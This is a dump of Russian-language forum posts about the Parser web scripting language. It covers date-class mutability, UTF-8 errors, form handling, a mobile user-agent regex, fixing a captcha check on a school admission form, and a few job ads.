$result[^date::create($date + (^hours.int(0) / 24) + (^minutes.int(0) / 24 / 60) + (^seconds.int(0) / 24 / 60 / 60))][/code]"
"82518","насколько я понимаю, roll был сделан для работы с тем, что нельзя непосредственно задать при создании объекта. \
\
я не вижу смысла засовывать в него то, что можно сделать в create."
"82519","[quote]насколько я понимаю, roll был сделан для работы с тем, что нельзя непосредственно задать при создании объекта. \
\
я не вижу смысла засовывать в него то, что можно сделать в create.[/quote]\
\
А год, месяц и день нельзя так же задать?"
"82520","В свете [url=http://www.parser.ru/forum/?id=82506]roll[/url], подумалось: а по какой причине объект date неизменяемый?\
\
Арифметика сдвигов работает корректно, лишних накладных расходов при изменении даты быть не должно.\
Даже таблица теперь изменяемая, а как насчёт даты?\
\
[code]$date[^date::now[]]\
$date.month($date.month + 1)[/code]\
\
Roll бы вообще стал пережитком прошлого.\
Разве что, вычисляемые поля a-la daylightsaving изменять не стоит."
"82522","Помнится, что при невалидной UTF-8 последовательности, которую можно было схватить из URL - и сделав с ней ^string.lower[] наприме - получал unhadled exeption на тему UTF string operation (или в таком духе).\
\
Сейчас то ли ничего не поменялось в этом отношении, то ли я не помню как повторить."
"82523","http://www.parser.ru/docs/lang/?dateclass.htm\
\
Числовое значение объекта класса date равно числу суток с EPOCH (01.01.1970 00:00:00, UTC) до даты, заданной в объекте. Этим значением полезно пользоваться для вычисления относительной даты, число суток может быть дробным, скажем, полтора дня = 1.5. \
\
:)"
"82524","[quote]P.S.: То ли мне кажется, и я просто не помню как воссоздать падение.\
[/quote]\
\
Речь наверное про \"UTF-8 validation failed during pcre_exec\", такую ошибку выдает match и это особенность библиотеки работы с регулярными выражениями - она умеет работать с только с корректным UTF-8, с этой точки зрения ничего не менялось."
"82525","Есть цикл.\
Есть <form name=\"$formname\"> в нём.\
Есть <input type=\"sumbit\" name=\"$formsubmit\"> там же.\
\
Пытаемся обработать множество форм, пишем в цикле \"если def...\" что?!\
\
В урочном варианте и когда форма одна, нормально работает $форма:поле. А так, когда форм много, пытался эту конструкцию прописывать разными способами, в несколько стрингов загонял, птички ставил и всё такое, со скобками экспериментироал... 'Formname' class is undefined - и всё тут, если пытаться в качестве имени формы использовать переменную.\
\
Как по-парсерному $formname:$formfield, м?"
"82526","Имя формы не нужно. Поставьте в каждую форму скрытое поле, например action\
\
\
[code]<input type='hidden' name='action' value='form1'>[/code]\
\
\
А потом проверяйте при обработке:\
\
[code]^switch[$form:action]{\
	^case[from1]{^processform1[]}\
	^case[from2]{^processform2[]}\
	....\
}[/code]"
"82527","Добрый день!\
\
Ищем программиста хорошего уровня на удаленную работу. В обязанности будет входить разработка нового функционала и поддержка существующего. Подробнее о проектах расскажу лично.\
\
От Вас потребуются знания:\
 •Parser;\
 •SQL;\
 •JavaScript;\
 •Умение работать с GIT и знание PHP будет плюсом.\
\
ЗП по результатам собеседования."
"82529","Требуется удаленная поддержка сайтов на Parser + MySQL. доработка функционала.\
скайп для связи: derek169930"
"82530","если вы работаете в utf8 и каким-то образом загрузили символы, которые по сути не являются utf8, то попытки например преобразовать регистр таких символов обломаются.\
\
внутри парсер не всегда занимается проверками того, что ему подсунули как строку. байты и байты. а при попытке подсчитать длину utf8 строки, преобразовать регистр и ещё некоторых операциях -- он работает с данными посимвольно и если хоть один из символов не валиден -- exception. match -- отдельный случай. парсер передаёт всё, что у него есть pcre-либе. и дальше всеми проверками занимается она.\
\
P.S. на первый ваш вопрос ответить не могу."
"82531","Не актуально, сорри."
"82533","[quote]а при попытке подсчитать длину utf8 строки, преобразовать регистр и ещё некоторых операциях -- он работает с данными посимвольно и если хоть один из символов не валиден -- exception.[/quote]\
\
Да вроде как только у внешних библиотек исключения, в нашем коде нет их. По этому вопросу есть тикет #125, 5 лет назад обсуждение закончилось на предложении sumo@:\
\
\"\
$utf8:validate(true) - включает/выключает валидацию глобально\
\
^if($utf8:validate){\
  не понятно зачем, но может кому понадобится для отладки\
}\
\
Локально включаем так:\
^utf8:safe{\
\
  Здесь у нас код, который точно будет без проблем с кодировкой.\
\
} <- Вот здесь у нас произойдет возврат к стандартному \
значению $utf8:validate, даже если в коде будет exception.\
\""
"82534","Как говорится, почему бы и нет, завел тикет? \
\
[quote]Roll бы вообще стал пережитком прошлого.[/quote]\
\
Не согласен, ^date.roll[month](1) банально короче, чем $date.month($date.month + 1).\
\
Вот время иногда бывает нужно подправить. Можно это делать через ^date::create(year;month;day;hour;minute;second), но и возможность поправить напрямую лишней не будет."
"82538","почта: admin@woodtrade.ru\
skype: shustov_alexander"
"82539","[quote]Как говорится, почему бы и нет, завел тикет[/quote]\
\
Хорошо.\
Будем ждать новостей.\
\
[quote]Не согласен, ^date.roll[month](1) банально короче, чем $date.month($date.month + 1).[/quote]\
\
[code]^date.month.inc(1)[/code]"
"82540","[quote]^date.month.inc(1)[/quote]\
\
Так, к сожалению, работать не будет. То есть inc-то случится, но это уже просто число, а не поле month в объекте date."
"82541","[quote]Так, к сожалению, работать не будет. То есть inc-то случится, но это уже просто число, а не поле month в объекте date.[/quote]\
\
Для объектов-то работает:\
[code]@main[]\
$h[$.a(1)]\
^h.a.inc[]\
[$h.a]\
\
$t[^test::create[]]\
^t.a.inc[]\
[$t.a]\
\
\
@CLASS\
test\
\
@create[]\
$self.a(1)[/code]"
"82542","С точки зрения класса date твой пример надо переписать так:\
[code]\
@main[]\
$h[$.a(1)]\
^h.a.inc[]\
[$h.a]\
\
$t[^test::create[]]\
^t.a.inc[]\
[$t.a]\
\
\
@CLASS\
test\
\
@create[]\
  $self._a(1)\
\
@GET_a[]\
  $result($self._a)\
\
@SET_a[value]\
  $self._a($value)\
[/code]\
\
В коде Парсера геттер написан так:\
[code]\
override Value* VDate::get_element(const String& aname) {\
	// $method\
	if(Value* result=VStateless_object::get_element(aname))\
		return result;\
\
	// $TZ\
	if(aname==\"TZ\")\
		return ftz_cstr ? new VString(*new String(ftz_cstr)): new VString();\
\
	int result;\
	if(aname==\"year\") result=1900+ftm.tm_year;\
	else if(aname==\"month\") result=1+ftm.tm_mon;\
	else if(aname==\"day\") result=ftm.tm_mday;\
	else if(aname==\"hour\") result=ftm.tm_hour;\
	else if(aname==\"minute\") result=ftm.tm_min;\
	else if(aname==\"second\") result=ftm.tm_sec;\
	else if(aname==\"weekday\") result=ftm.tm_wday;\
	else if(aname==\"yearday\") result=ftm.tm_yday;\
	else if(aname==\"daylightsaving\") result=ftm.tm_isdst;\
	else if(aname==\"week\") {\
		yw week = CalcWeek(ftm);\
		result=week.week;\
	}\
	else if(aname==\"weekyear\") {\
		yw week = CalcWeek(ftm);\
		result=1900+week.year;\
	} else { return bark(\"%s field not found\", &aname); }\
	return new VInt(result);\
}\
[/code]\
\
Т.е. в объекте date лежит структура (ftm) из «сишных интов», поля которой преобразуются в парсеровский int (VInt) при каждом обращении к свойтсву.\
\
p.s. В этом месте становится печально, что в парсере int мутабельный. Лучше бы иметь неизменяемые скаляры и строки, чтобы в принципе таких неоднозначностей не возникало. :)"
"82543","А нельзя нужные int-поля открыть, а не отдавать через геттер?"
"82544","Вместо простых и компактных скалярных типов придется хранить плюсовые объекты."
"82545","[quote]Лучше бы иметь неизменяемые скаляры и строки, чтобы в принципе таких неоднозначностей не возникало. :)[/quote]\
\
Со строками все хорошо, они не изменяемые. Была идея сделать append, но одумались. :) На этом кстати много оптимизаций постоено. А вот inc да, возможно зря сделали."
"82546","А нормализовывать эти поля кто будет, чтобы не было 32 числа и 25 часов? \"Спрятаны\" они вполне уместно."
"82547","Взял за основу regexp с http://detectmobilebrowsers.com\
Perl-версию. Вроде, как обновлялся regexp там в 2014-ом\
но в целом, там маркеры актуальны.\
\
Тем более позже уже и не надо, это средство для no-js-legacy шаблонов, для всего позднее 2014-ого есть HTML5 viewport / media-запросы.\
\
Погонял на разных эмуляторах и реальных устройствах с Opera Mini и древних - вроде пока не ошибся ни разу в определении Мобильный / Десктопный браузер.\
[code]\
$ua[$env:HTTP_USER_AGENT]\
$uasub[^ua.mid(0;4)]\
^if(\
   ^ua.match[(android|bb\\d+|meego).+mobile|avantgo|bada\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino][i]\
   ||\
   ^uasub.match[1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-][i]\
   ){ \
      DETECTED = MOBILE  \
}\
[/code]"
"82548","Привык к обычному ноутпэду, но нумерация строк в ошибке и блокноте часто расходится, а ошибка в логе не снабжается цитатой проблемного места (почему, кстати?)\
\
На что перейти, чтобы можно было чётко взаимодействовать редактором с логом?"
"82555","Вернее разработчик перевесил «вечную бету» на главную."
"82556","[quote]Sublime Text 3 is currently in beta.[/quote]\
\
[quote]Вернее разработчик перевесил «вечную бету» на главную.[/quote]\
\
Ссылка на третью версию там всегда висела, даже когда та была в альфе.\
Бетой-то она быть от этого не перестала."
"82558","Правильно я понимаю, что чтобы получить строкой имя первого ключа хеша (например я хочу проверить имя первого ключ на префикс),\
то только ч/з таблицеу _keys, и ^_hash.at(0) мне тут не помощник.\
\
Т.е. не менее чем в три строки? (offset для безопасности)\
[code]\
$tab[^myhash._keys[]]\
^tab.offset[set](0)\
$firstkey[$tab.key]\
[/code]"
"82559","По 3.4.3:\
[code]$tab[^myhash._keys[]]\
$firstkey[$tab.key][/code]\
\
Если между получением списка ключей и проверкой нет инструкций, сдвигающих указатель — а их нет — offset не нужен.\
\
В 3.4.4 можно так:\
[code]$firstkey[^myhash.at[first;key]][/code]"
"82560","Выражение проверять не возьмусь, но код следовало бы оформить в пригодном виде, раз уж речь о копилке готовых решений.\
\
Например, расширить [url=http://www.parser.ru/examples/detect/]определение платформы[/url], или хотя бы в виде метода/оператора @isMobile[]."
"82561","Привет, уважаемые коллеги и разработчики! Давно не заходил на этот форум, ибо зачем? Парсер уже пару лет работает как часы, под виндой и линуксами, быстро и безошибочно. Как ни зайдешь, все вопросы уже кем-то отвечены, оперативно и по делу. Мануал, опять же, в одном файле, небольшой и достаточный. В общем, сделано всё, чтобы я мог, не отвлекаясь на баги и факапы, длительное время фокусироваться на логике одной сложной программы в сфере здравоохранения. Спасибо."
"82564","Дайте хоть один текстовый редактор написанный на Парсере"
"82565","Можете попробовать написать «текстовый редактор на Парсере», удачи.\
\
Как это влияет на тот факт, что вышеприведённый код не имеет к Парсеру ни малейшего отношения?"
"82566","Здравствуйте все!\
Так сложилось, что мне придётся поддерживать сайт написанный на Parser кем-то много лет назад.\
Со страницы [url=\"http://610.ru/school/anketa.html\"]http://610.ru/school/anketa.html[/url] посыпался спам. Я попробовал подставить \"костыль\" ака капча.\
[code]\
@title[]\
анкета абитуриента\
\
\
@mainbody[]\
\
<h1>Анкета абитуриента</h1>\
\
<p>Здесь можно записаться на вступительный экзамен.<br>\
Экзамен в пятые классы обычно проходит в середине мая.<br>\
При записи в старшие классы необходимо связаться с приемной комиссией.</p>\
\
$showForm(1)\
^if(def $form:fields){\
	^if(def $form:surname && def $form:name && def $form:patronymic && def $form:birthday && def $form:address && def $form:tel && def $form:school && def $form:schoolplace && def $form:cap && $form:cap == sb9ad6){\
		^try{\
				^mail:send[\
				$.from[[610] анкета абитуриента <robot@610.ru>]\
				$.content-type[text/plain^; charset=\"windows-1251\"]\
				$.to[secretar610@mail.ru]\
				$.subject[анкета абитуриента]\
				$.text[На вступительный экзамен записывается:\
\
\
фамилия: $form:surname\
имя: $form:name\
отчество: $form:patronymic\
дата рождения: $form:birthday\
школа: $form:school, $form:schoolplace район\
иностранный язык: ^if(def $form:lang){$form:lang}{--}\
программа начальной школы: ^switch[$form:program]{\
	^case[n21]{Начальная школа 21 века}\
	^case[s2100]{Школа 2100}\
	^case[ros]{Школа России}\
	^case[har]{Гармония}\
	^case[pern]{Перспективная начальная школа}\
	^case[kl]{Классическая начальная школа}\
	^case[pl]{Планета знаний}\
	^case[per]{Перспектива}\
	^case[zan]{Л.В. Занкова}\
	^case[elk]{Д.Б. Эльконина - В.В. Давыдова}\
	^case[other]{Иное}\
	^case[hmm]{Не знаю}\
	^case[DEFAULT]{какой-то сбой, пожалуйтесь Мите Кобаку!}}\
адрес: $form:address\
телефон: $form:tel\
email: ^if(def $form:email){$form:email}{--}\
поступает в $form:class класс\
]\
			]\
\
			<p>Спасибо, ваша анкета отправлена в гимназию.</p>\
			$showForm(0)\
}{\
			<p class=\"error\">Спасибо, Ваша анкета отправлена в гимназию.</p>\
			$exception.handled(1)\
		}\
	}{\
		<p class=\"error\">Что-то пошло не так.</p>\
	}\
}\
\
^if($showForm == 1){\
	<br>\
	<form method=\"POST\" enctype=\"multipart/form-data\">\
	<label for=\"surname\">Фамилия</label><input id=\"surname\" name=\"surname\" value=\"$form:surname\">	<input class=\"submit\" type=\"submit\" value=\"Готово\"><br>\
	<label for=\"name\">Имя</label><input id=\"name\" name=\"name\" value=\"$form:name\"><br>\
	<label for=\"patronymic\">Отчество</label><input id=\"patronymic\" name=\"patronymic\" value=\"$form:patronymic\"><br>\
	<label for=\"school\">Школа</label><input id=\"school\" name=\"school\" value=\"$form:school\"><br>\
	<label for=\"schoolplace\">Район школы</label><input id=\"schoolplace\" name=\"schoolplace\" value=\"$form:schoolplace\"><br>\
	<label for=\"lang\">Иностранный язык</label><input id=\"lang\" name=\"lang\" value=\"$form:lang\"><br>\
		<p>Какой иностранный язык изучает, с какого класса?</p>\
	<label for=\"program\">Программа начальной школы</label><select id=\"program\" name=\"program\"><option value=\"n21\">Начальная школа 21 века</option>\
 	<option value=\"s2100\">Школа 2100</option>\
 	<option value=\"ros\">Школа России</option>\
 	<option value=\"har\">Гармония</option>\
 	<option value=\"pern\">Перспективная начальная школа</option>\
 	<option value=\"kl\">Классическая начальная школа</option>\
 	<option value=\"pl\">Планета знаний</option>\
 	<option value=\"per\">Перспектива</option>\
 	<option value=\"zan\">Л.В. Занкова</option>\
 	<option value=\"elk\">Д.Б. Эльконина - В.В. Давыдова</option>\
 	<option value=\"other\">Иное</option>\
 	<option selected value=\"hmm\">Не знаю</option></select><br>\
		<p>По какой программе обучается в начальной школе?</p>\
	<label for=\"birthday\">Дата рождения</label><input id=\"birthday\" name=\"birthday\" value=\"$form:birthday\"><br>\
		<p>Число, месяц, год.</p>\
	<label for=\"address\">Адрес</label><input id=\"address\" name=\"address\" value=\"$form:address\"><br>\
		<p>(фактический)</p>\
	<label for=\"tel\">Контактный&nbsp^;телефон</label><input id=\"tel\" name=\"tel\" value=\"$form:tel\"><br>\
	<label for=\"email\">Электронная&nbsp^;почта</label><input id=\"email\" name=\"email\" value=\"$form:email\"><br>\
	\
	<label for=\"class\">Поступает в</label><select id=\"class\" name=\"class\">\
	<option selected value=\"5\">5 класс</option>\
	<option value=\"6\">6 класс</option>\
	<option value=\"7\">7 класс</option>\
	<option value=\"8\">8 класс</option>\
	<option value=\"9\">9 класс</option>\
	<option value=\"10\">10 класс</option>\
	<option value=\"11\">11 класс</option></select><br>\
	<label for=\"cap\">Текст с картинки</label><input id=\"cap\" name=\"cap\" value=\"$form:cap\"><p><img src=\"cap.jpg\"></p><br>\
		\
	</form>\
}\
[/code]\
Все скобки, вроде, на местах.\
Нид хелп. Где просчитался?"
"82567","Правильно будет\
\
[code]$form:cap eq sb9ad6[/code]\
\
вместо \
\
[code]$form:cap == sb9ad6[/code]\
\
http://www.parser.ru/docs/lang/?exprops.htm"
"82571","[code]\
@isMobile[ua][locals]\
^if(!def $ua){$ua[$env:HTTP_USER_AGENT]}\
$uasub[^ua.mid(0;4)]\
$result(^ua.match[(android|bb\\d+|meego).+mobile|avantgo|bada\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino][i] || ^uasub.match[1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-][i])\
[/code]\
\
P.S:\
Как-то так? =)\
Кстати, Tablet'ы умышленно не включены в \"Mobile\" (вроде, но тесты тоже это показывают).\
Просто полезности от разбиения по строкам и каментам этого\
куммулятивного регэкспа совсем 0. В него надо или верить или нет )"
"82572","Стоит использовать модификатор «n», это снизит использование памяти."
"82576","Ну тогда уже еще стоит\
1. поменять все открывающие скобки на (?: чтобы не тратить память\
2. скорее всего стоит вынести максимально частотные строки в отдельный if, остальное проверить если не совпало\
[code]\
^if(^ua.match[iphone|ipad|android][in]){\
  $result(true)\
}{\
  всё остальное\
}\
[/code]\
думаю тут на if отработает 90% строк\
\
3. особенно если предполагается массовая обработка юзерагентов(логи?) вынести это в класс, где в конструкторе сделать\
\
[code]$re[^regex::create[...]][/code]\
\
а в методе уже использовать его\
\
Вообще регулярка зловещая ))"
"82577","[code]@main[]\
$d[^date::now[]]\
^d.set(2016;1;1;0;0;0)\
^d.sql-string[][/code]\
\
И фактически дата — изменяемый тип.\
\
[quote]old name for compatibility with <= v1.17 2002/2/18 12:13:42 paf[/quote]"
"82578","[code]\
@title[]\
анкета абитуриента\
\
\
@mainbody[]\
\
<h1>Анкета абитуриента</h1>\
\
<p>Здесь можно записаться на вступительный экзамен.<br>\
Экзамен в пятые классы обычно проходит в середине мая.<br>\
При записи в старшие классы необходимо связаться с приемной комиссией.</p>\
\
$showForm(1)\
^if(def $form:fields){\
	^if(def $form:surname && def $form:name && def $form:patronymic && def $form:birthday && def $form:address && def $form:tel && def $form:school && def $form:schoolplace && def $form:cap && $form:cap eq sb9ad6){\
		^try{\
				^mail:send[\
				$.from[[610] анкета абитуриента <robot@610.ru>]\
				$.content-type[text/plain^; charset=\"windows-1251\"]\
				$.to[secretar610@mail.ru]\
				$.subject[анкета абитуриента]\
				$.text[На вступительный экзамен записывается:\
\
\
фамилия: $form:surname\
имя: $form:name\
отчество: $form:patronymic\
дата рождения: $form:birthday\
школа: $form:school, $form:schoolplace район\
иностранный язык: ^if(def $form:lang){$form:lang}{--}\
программа начальной школы: ^switch[$form:program]{\
	^case[n21]{Начальная школа 21 века}\
	^case[s2100]{Школа 2100}\
	^case[ros]{Школа России}\
	^case[har]{Гармония}\
	^case[pern]{Перспективная начальная школа}\
	^case[kl]{Классическая начальная школа}\
	^case[pl]{Планета знаний}\
	^case[per]{Перспектива}\
	^case[zan]{Л.В. Занкова}\
	^case[elk]{Д.Б. Эльконина - В.В. Давыдова}\
	^case[other]{Иное}\
	^case[hmm]{Не знаю}\
	^case[DEFAULT]{какой-то сбой, пожалуйтесь Мите Кобаку!}}\
адрес: $form:address\
телефон: $form:tel\
email: ^if(def $form:email){$form:email}{--}\
поступает в $form:class класс\
]\
			]\
\
			<p>Спасибо, ваша анкета отправлена в гимназию.</p>\
			$showForm(0)\
}{\
			<p class=\"error\">Спасибо, Ваша анкета отправлена в гимназию.</p>\
			$exception.handled(1)\
		}\
	}{\
		<p>^check[]</p>\
	}\
}\
\
^if($showForm == 1){\
	<br>\
	<form method=\"POST\" enctype=\"multipart/form-data\">\
	<label for=\"surname\">Фамилия</label><input id=\"surname\" name=\"surname\" value=\"$form:surname\">	<input class=\"submit\" type=\"submit\" value=\"Готово\"><br>\
	<label for=\"name\">Имя</label><input id=\"name\" name=\"name\" value=\"$form:name\"><br>\
	<label for=\"patronymic\">Отчество</label><input id=\"patronymic\" name=\"patronymic\" value=\"$form:patronymic\"><br>\
	<label for=\"school\">Школа</label><input id=\"school\" name=\"school\" value=\"$form:school\"><br>\
	<label for=\"schoolplace\">Район школы</label><input id=\"schoolplace\" name=\"schoolplace\" value=\"$form:schoolplace\"><br>\
	<label for=\"lang\">Иностранный язык</label><input id=\"lang\" name=\"lang\" value=\"$form:lang\"><br>\
		<p>Какой иностранный язык изучает, с какого класса?</p>\
	<label for=\"program\">Программа начальной школы</label><select id=\"program\" name=\"program\"><option value=\"n21\">Начальная школа 21 века</option>\
 	<option value=\"s2100\">Школа 2100</option>\
 	<option value=\"ros\">Школа России</option>\
 	<option value=\"har\">Гармония</option>\
 	<option value=\"pern\">Перспективная начальная школа</option>\
 	<option value=\"kl\">Классическая начальная школа</option>\
 	<option value=\"pl\">Планета знаний</option>\
 	<option value=\"per\">Перспектива</option>\
 	<option value=\"zan\">Л.В. Занкова</option>\
 	<option value=\"elk\">Д.Б. Эльконина - В.В. Давыдова</option>\
 	<option value=\"other\">Иное</option>\
 	<option selected value=\"hmm\">Не знаю</option></select><br>\
		<p>По какой программе обучается в начальной школе?</p>\
	<label for=\"birthday\">Дата рождения</label><input id=\"birthday\" name=\"birthday\" value=\"$form:birthday\"><br>\
		<p>Число, месяц, год.</p>\
	<label for=\"address\">Адрес</label><input id=\"address\" name=\"address\" value=\"$form:address\"><br>\
		<p>(фактический)</p>\
	<label for=\"tel\">Контактный&nbsp^;телефон</label><input id=\"tel\" name=\"tel\" value=\"$form:tel\"><br>\
	<label for=\"email\">Электронная&nbsp^;почта</label><input id=\"email\" name=\"email\" value=\"$form:email\"><br>\
	\
	<label for=\"class\">Поступает в</label><select id=\"class\" name=\"class\">\
	<option selected value=\"5\">5 класс</option>\
	<option value=\"6\">6 класс</option>\
	<option value=\"7\">7 класс</option>\
	<option value=\"8\">8 класс</option>\
	<option value=\"9\">9 класс</option>\
	<option value=\"10\">10 класс</option>\
	<option value=\"11\">11 класс</option></select><br>\
	<label for=\"cap\">Текст с картинки</label><input id=\"cap\" name=\"cap\" value=\"$form:cap\"><p><img src=\"cap.jpg\"></p><br>\
		\
	</form>\
}\
\
# проверка на введенные данные\
@check[]\
<p class=\"error\">Не заполненные поля формы:</p>\
^if(def $form:surname){$surname[1]}{<br>Фамилия}\
^if(def $form:name){$name[1]}{<br>Имя}\
^if(def $form:patronymic){$patronymic[1]}{<br>Отчество}\
^if(def $form:school){$school[1]}{<br>Школа}\
^if(def $form:schoolplace){$schoolplace[1]}{<br>Район школы}\
^if(def $form:lang){$lang[1]}{<br>Иностранный язык}\
^if(def $form:birthday){$birthday[1]}{<br>Дата рождения}\
^if(def $form:address){$address[1]}{<br>Адрес}\
^if(def $form:tel){$tel[1]}{<br>Контактный&nbsp^;телефон}\
^if(def $form:email){$email[1]}{<br>Электронная&nbsp^;почта}\
^if(def $form:cap){$cap[1]}{<br>Текст с картинки}[/code]"
"82579","Хочу дать пользователям возможность выбрать удобный часовой пояс и жить в нём на сайте. Сервер стоит в Москве, now выдаёт московское.\
\
Алгоритм \"ручного\" пересчёта московских 25:45 предновогоднего времени в хабаровское время получается со всеми ифами, днями в месяцах и месяцами в году сложноват.\
\
Я сошел с ума и подумал было пересчитывать время в секунды, к ним прибавлять-вычитать, потом трансформировать обратно, но и годы бывают високосные, и 365,25 не подойдёт...\
\
Как не заниматься этим арифметизмом, а? Есть ли в парсере как в MySQL, скажем, инструмент сложения таймстемпов?\
\
Спасибо."
"82580","Мне помогла :) http://this-one.ru/discuss/ - квесты разные, ответ один."
"82581","угу, он изначально был у date, table. create появился потом. живёт для совместимости (правда не очень понятно с чем)"
"82582","^date.roll[TZ][новый часовой пояс]"
"82583","Подскажите можно ли как то в PhpStorm 10 добавить синтаксис парсера?"
"82585","Ну, простейшее: есть БД с баннерами, надо сгенерить выбор баннера оттуда в несколько ходов, показать баннер, инкрементировать его показ в столбце.\
\
Есть ли практическая разница, три коннекта в методе @баннер[] или один со всей парсерной логикой, стрингами, запросами и вносами внутри него? А теоретическая?"
"82586","Соединения с одинаковой строкой подключения, [url=http://www.parser.ru/forum/?id=82393]кроме вложенных[/url], кэшируются.\
Делайте, как удобно, разницы в производительности не будет."
"82587","[quote]живёт для совместимости (правда не очень понятно с чем)[/quote]\
\
Видимо, с кодом, написанным по версию 1.17.\
\
Никогда бы и в голову не пришло, что можно так:\
[code]@main[]\
$dt[^date::create(2016;1;1)]\
^dt.create(2017;1;1)\
^dt.sql-string[][/code]\
\
Причём, второй вызов конструктора возвращает не дату или void, а строку."
"82588","не документировано == может перестать работать."
"82589","Спасибо большое!\
